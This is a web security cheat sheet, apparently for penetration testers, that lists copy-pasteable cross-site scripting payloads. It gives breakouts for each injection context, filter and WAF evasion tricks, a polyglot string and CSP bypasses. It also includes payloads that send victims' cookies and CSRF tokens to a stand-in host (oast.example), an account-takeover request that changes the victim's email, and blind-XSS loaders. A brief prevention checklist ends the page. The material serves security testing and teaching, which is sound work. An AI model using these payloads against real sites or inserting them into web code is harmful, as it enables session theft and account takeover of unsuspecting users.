Cross-Site Scripting (XSS): The Complete Practical Guide

XSS Cheat Sheet

A dense, copy-pasteable XSS reference: payloads by context, event handlers, filter evasion, a polyglot one-liner, the DOM sink table, and CSP bypasses.

Published

Every payload you reach for during an XSS test, in one place. The payload depends on the context your input lands in, so identify the context first, then pick the matching break-out. For the how and why behind each section, start at the XSS guide. Lock it in on a free live target.

Context-based payloads

HTML body:
  <script>alert(1)</script>
  <img src=x onerror=alert(1)>
  <svg onload=alert(1)>
  <iframe src=javascript:alert(1)>
  <body onload=alert(1)>
 
Attribute (break out of the value):
  "><svg onload=alert(1)>
  "><img src=x onerror=alert(1)>
Attribute (no break-out, inject a handler):
  " autofocus onfocus=alert(1) x="
  " onmouseover=alert(1) x="
 
JS string (close the string/statement):
  ';alert(1)//
  ';alert(1);//
  \';alert(1)//            when the quote is backslash-escaped, break the escape
  </script><script>alert(1)</script>
 
URL / href:
  javascript:alert(1)
  javascript:alert(document.domain)

Identify the context, then use the one break-out that fits it. See XSS contexts for the reasoning.

Event handlers worth trying

onload  onerror  onfocus  onmouseover  onclick  onpointerover
onanimationstart  ontoggle  onstart  onpageshow  onresize  onscroll

onfocus with autofocus, and onanimationstart / ontoggle, fire without user interaction. <svg>, <details>, and <marquee> carry handy auto-firing handlers.

No-parens / no-space / no-"alert" variants

No parens:   <img src=x onerror=alert`1`>        onerror=(alert)(1)
No space:    <svg/onload=alert(1)>               <img/src/onerror=alert(1)>
No "alert":  onerror=confirm(1)                   onerror=print()
             onerror=top['al'+'ert'](1)           onerror=eval('ale'+'rt(1)')
Backtick:    <script>alert`1`</script>

Tag and attribute obfuscation (filter evasion)

Case:        <ScRiPt>alert(1)</sCrIpT>   <IMG SRC=x OnErRoR=alert(1)>
Slash sep:   <svg/onload=alert(1)>        <img/src/onerror=alert(1)>
Broken tag:  <img src=x onerror=alert(1)//
Entity:      onerror=&#97;lert(1)         HTML entity for a letter
Unicode/UTF: overlong %C0%BC for '<' on a mis-decoding stack

More, with reasoning, in filter and WAF evasion.

Polyglot one-liner

jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

Fires across many contexts (HTML, attribute, JS, comment, and title/textarea/style/script break-outs). Use it to quickly probe an unknown sink, then switch to a clean context-specific payload.

DOM XSS: sinks and the sources that feed them

Sink (where it executes)Dangerous input into it
element.innerHTML / outerHTMLlocation.hash, location.search
document.write / document.writelnlocation.*, document.referrer
eval / Function / setTimeout(str) / setInterval(str)location.*, postMessage data
element.src / a.href / script.srclocation.*, window.name, storage
jQuery $(...) / .html() / .append()location.hash as $(location.hash)
location / location.href assignmentlocation.*, document.referrer

Common sources: location.hash, location.search, location.href, document.referrer, window.name, postMessage, localStorage/sessionStorage, document.cookie. See DOM-based XSS.

// Image beacon (no CORS, fires anywhere)
<img src=x onerror="new Image().src='//oast.example/?c='+encodeURIComponent(document.cookie)">
 
// Fetch (fires cross-origin for exfil; can only read responses same-origin)
<script>fetch('//oast.example/?c='+btoa(document.cookie))</script>
 
// Steal a CSRF token from the DOM (works even when the cookie is HttpOnly)
<script>fetch('//oast.example/?t='+document.querySelector('[name=csrf]').value)</script>
 
// Account takeover via the victim's session
<script>fetch('/account/email',{method:'POST',credentials:'include',
  headers:{'Content-Type':'application/x-www-form-urlencoded'},
  body:'[email protected]'})</script>

Full walkthrough in exploiting XSS.

CSP: read it, then bypass it

Weak policies:
  script-src 'unsafe-inline'       inline <script> runs, game over
  script-src https: *              host your JS anywhere on https
  script-src 'self' *.cdn.example  JSONP / AngularJS on the CDN = bypass
 
JSONP bypass (allowed host exposes a JSONP endpoint):
  <script src="https://allowed.example/jsonp?callback=alert(document.domain)//"></script>
 
base-uri hijack (no base-uri in policy + relative script src):
  <base href="//evil.example/">
 
Missing object-src / base-uri opens plugin and base-tag vectors.
Nonce reuse: if the nonce is predictable or echoed, reuse it:
  <script nonce="LEAKED_NONCE">alert(1)</script>

Read the policy first. See CSP and bypasses.

Dangling markup (when script is blocked)

<img src='//oast.example/?leak=        unterminated, swallows page HTML up to the next quote
<base href='//oast.example/?           or hijack relative resource loads

No JavaScript required. Full technique in dangling markup injection.

Blind XSS (fires in a back-office view you cannot see)

"><script src="//oast.example/x.js"></script>
"><img src=x onerror="new Image().src='//oast.example/?u='+location+'&c='+document.cookie">

x.js reports back the URL, DOM, and cookies of wherever it executed. Seed it into User-Agent, Referer, contact forms, and support tickets at once. See blind XSS.

Prevention checklist

  • Context-aware output encoding at every sink: HTML-encode in the body, attribute-encode inside attributes, JS-encode inside scripts, URL-encode in URLs. One global encoder is not enough.
  • Let the framework escape by default and treat dangerouslySetInnerHTML, [innerHTML], v-html, and |safe as red flags to justify.
  • Strict CSP as defense in depth: script-src 'nonce-... strict-dynamic', object-src 'none', base-uri 'none', no unsafe-inline.
  • Trusted Types to lock down DOM sinks like innerHTML and eval.
  • HttpOnly and SameSite cookies so a stolen document.cookie yields nothing useful.
  • Parser-accurate HTML sanitizer (allow-list) for genuine rich text, never hand-rolled regex.
  • Input validation is a nice-to-have, not the fix. Encode on output. Full detail in preventing XSS.

← Back to Cross-Site Scripting (XSS): The Complete Practical Guide